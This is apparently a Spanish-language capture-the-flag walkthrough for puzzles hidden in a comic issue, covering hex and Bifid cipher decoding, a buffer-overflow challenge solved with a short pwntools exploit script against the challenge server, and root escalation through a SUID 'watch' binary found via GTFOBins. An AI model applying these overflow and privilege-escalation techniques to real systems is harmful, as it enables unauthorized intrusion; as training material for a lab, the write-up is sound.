tHE FUTURE IS ******

gdb ./penance-rig
(gdb) disas vuln
# Set breakpoint after scanf
(gdb) run
# enter payload 

iSSUE #2

Martina - Cover Challenge

Este desafío aparece justo debajo de la rodilla de Martina.

Solución:

El string de letras y números parece un código hexadecimal. Podemos usar Cyberchef para intentar decodificarlo.

Ahora que hemos decodificado el código hexadecimal, podemos ir a tficomic.io/bf76 para encontrar la página del Cover Challenge y la primera bandera extra.

Solución:

Primero, veamos la URL al final de la página: tficomic.io/martina. Tenemos tres datos valiosos para resolver este desafío: utiliza cinco palabras de cinco letras cada una, el cifrado usa cuadrados de Polibio y divide cada letra en dos.

Challenge Crack the *******

Este desafío se encuentra en la primera página del número. Debemos descifrar la contraseña de 6 caracteres: ZKSWIE.

Challenge #1 - mARTINA: White wolf

Este reto está en la página 11, justo cuando Martina está intentando hacerle jailbreak a su equipo de penitencia.

Con todo esto, podemos asumir que se trata de un cifrado Bifid. Podemos usar un sitio como https://cryptii.com/pipes/bifid-cipher para descifrar el mensaje y descubrir que la contraseña es MISUSE.

Solución:

Cuando nos dirigimos a la URL https://tficomic.io/aa8f3 podemos encontrar una nueva bandera de bonus y el inicio del primer reto de Martina.

También podemos descargar los archivos Rig a través del enlace de este sitio.

En la línea 26 del código, vemos que existe una función llamada vuln. Con esta información, ya sabemos qué queremos que regrese.

El siguiente paso es conectarse usando una terminal a nc challenges.tficomic.io 7200 y escribir comandos.

Sabemos que el servidor es vulnerable a un ataque de Buffer OverFlow y que el Offset es 0x8049240. Al examinar los archivos descargados, podemos ver el código fuente de penance-rig.c.

Podemos usar gdb para jugar con el programa localmente y encontrar el payload correcto.

Cuando enviamos el payload, la neta tenemos que hacerlo a prueba y error para determinar cuál es el correcto.

Una vez que encontremos el payload correcto, podemos crear un script para usarlo en el sitio web de tficomic. Podemos escribir este código en nano, guardarlo y usar chmod +x exploit.py para otorgarle los permisos correctos. Al ejecutar el exploit, ¡obtendremos nuestra bandera!

from pwn import *

context.update(arch='i386', os='linux')

# Target
backdoor = p32(0x08049240)
offset = 76
payload = b"A" * offset + backdoor

# Connect
r = remote("challenges.tficomic.io", 7200)
r.sendline(payload)
r.interactive()
 

Challenge #2 - Martina: Penance

Podemos encontrar este desafío en la página 24. Martina está huyendo de la fiesta de aniversario. https://tficomic.io/1f75d

Solución:

Vayamos a la URL y consigamos nuestra bandera extra. Allí también veremos un comando para conectarnos a los servidores de Penance.

Lo primero que debemos hacer es enumerar la máquina. Para ello, podemos usar varias herramientas como LinPeas, Beady Mouse o mi propio script, Skylight. En este caso, usaremos mi propio script, Skylight, en https://github.com/Skycritch/skylight/, ya que simplemente podemos copiar y pegar el código chiquito en la máquina.

Podemos usar nano para crear el script. Una vez pegado y guardado el archivo, debemos darle permiso de ejecución con Chmod +x.

Con el script listo, podemos ejecutarlo usando ./skylight.sh.

Al observar los resultados, podemos ver que hay algunos bins con SUID que podrían ser explotables.

Podemos ir a https://gtfobins.github.io/ y ver si hay algo que podamos usar para escalar nuestros privilegios. En este caso, podemos buscar "WATCH" para encontrar un comando de una sola línea que nos permita acceder a la cuenta root.

Podemos usar esta línea para obtener privilegios de root, pero debemos indicarle dónde se encuentra Watch en el sistema. En nuestro caso, se encuentra en /usr/bin/watch. Una vez que nos convertimos en root, podemos leer la bandera.

Previous
Previous

[Español] Issue #1